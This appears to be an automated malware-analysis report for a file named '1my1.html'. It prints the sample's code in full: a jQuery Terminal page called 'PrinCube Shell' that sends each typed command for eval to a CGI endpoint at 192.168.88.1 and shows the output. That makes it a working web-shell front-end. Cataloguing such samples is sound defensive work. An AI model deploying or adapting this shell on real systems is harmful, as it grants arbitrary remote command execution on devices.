PHP Malware Analysis

1my1.html

md5: a8cac0c60376aab90047ad3f96d16820

Jump to: 

Screenshot
Attributes
Emails

URLs

Deobfuscated PHP code
<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script src="https://unpkg.com/jquery.terminal@2.x.x/js/jquery.terminal.min.js"></script>
<link rel="stylesheet" href="https://unpkg.com/jquery.terminal@2.x.x/css/jquery.terminal.min.css"/>
<script>
  $(function() {
    $('body').terminal(function(command, term) {
        var args = {cmd: "eval", val: command};
        var jqxhr = $.get('http://192.168.88.1/cgi-bin/cmd', args)
        .always(function (data) {
          ret =  data.responseText.substring(data.responseText.lastIndexOf("----------------") + 17);
          term.echo(ret);
        });
    }, {
        greetings: 'PrinCube Shell',
        prompt: '# '
    });
});
</script>
</head>
<body>
</body>
</html>
Execution traces
Generated HTML code
<html><head>
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script src="https://unpkg.com/jquery.terminal@2.x.x/js/jquery.terminal.min.js"></script>
<link rel="stylesheet" href="https://unpkg.com/jquery.terminal@2.x.x/css/jquery.terminal.min.css">
<script>
  $(function() {
    $('body').terminal(function(command, term) {
        var args = {cmd: "eval", val: command};
        var jqxhr = $.get('http://192.168.88.1/cgi-bin/cmd', args)
        .always(function (data) {
          ret =  data.responseText.substring(data.responseText.lastIndexOf("----------------") + 17);
          term.echo(ret);
        });
    }, {
        greetings: 'PrinCube Shell',
        prompt: '# '
    });
});
</script>
</head>
<body class="full-screen-terminal">

<div class="terminal" style="--pixel-density:1; --char-width:7.23438; --terminal-height:933; --terminal-x:10; --terminal-y:27; --terminal-scroll:0;"><div class="terminal-scroller"><div class="terminal-wrapper"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 14" style="display: none;"><title id="title2">rounded</title><path id="terminal-broken-image" d="m 14,10 h 2 v 1 a 3,3 0 0 1 -3,3 H 3 A 3,3 0 0 1 0,11 H 4.5 A 1.00012,1.00012 0 0 0 5.207,10.707 L 6.5,9.414 7.793,10.707 a 0.99963,0.99963 0 0 0 1.41406,0 l 2.36719,-2.36719 1.80127,1.44092 A 0.99807,0.99807 0 0 0 14,10 Z M 16,3 V 8 H 14.35059 L 12.12451,6.21924 A 0.99846,0.99846 0 0 0 10.793,6.293 L 8.5,8.586 7.207,7.293 a 0.99962,0.99962 0 0 0 -1.41406,0 L 4.08594,9 H 0 V 3 A 3,3 0 0 1 3,0 h 10 a 3,3 0 0 1 3,3 z M 6,4.5 A 1.5,1.5 0 1 0 4.5,6 1.5,1.5 0 0 0 6,4.5 Z"></path></svg><div class="terminal-output" role="log"><div data-index="0"><div style="width: 100%;"><span data-text="PrinCube&nbsp;Shell">PrinCube&nbsp;Shell</span></div></div></div><div class="cmd enabled" style="width: 100%; --cursor-line:0;"><div class="cmd-wrapper" style=""><span class="cmd-prompt" style="visibility: visible;"><span data-text="#&nbsp;"><span style="width: 2ch;">#&nbsp;</span></span></span><div class="cmd-cursor-line" role="presentation" aria-hidden="true"><span></span><span class="cmd-cursor cmd-blink" style=""><span data-text="" class="end"><span>&nbsp;<span></span></span></span></span><span></span></div></div><label class="visually-hidden" for="7lr7yd">Clipbard textarea for jQuery Terminal</label><textarea autocapitalize="off" spellcheck="false" id="7lr7yd" tabindex="1" class="cmd-clipboard" data-cmd-prompt="#&nbsp;"></textarea></div></div><div class="terminal-fill"></div><div class="terminal-scroll-marker"><div style="height:20px;height:calc(20px / var(--pixel-density, 1))"></div></div></div><div class="terminal-font">&nbsp;</div><div class="terminal-pixel"></div></div></body></html>
Original PHP code
<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script src="https://unpkg.com/jquery.terminal@2.x.x/js/jquery.terminal.min.js"></script>
<link rel="stylesheet" href="https://unpkg.com/jquery.terminal@2.x.x/css/jquery.terminal.min.css"/>
<script>
  $(function() {
    $('body').terminal(function(command, term) {
        var args = {cmd: "eval", val: command};
        var jqxhr = $.get('http://192.168.88.1/cgi-bin/cmd', args)
        .always(function (data) {
          ret =  data.responseText.substring(data.responseText.lastIndexOf("----------------") + 17);
          term.echo(ret);
        });
    }, {
        greetings: 'PrinCube Shell',
        prompt: '# '
    });
});
</script>
</head>
<body>
</body>
</html>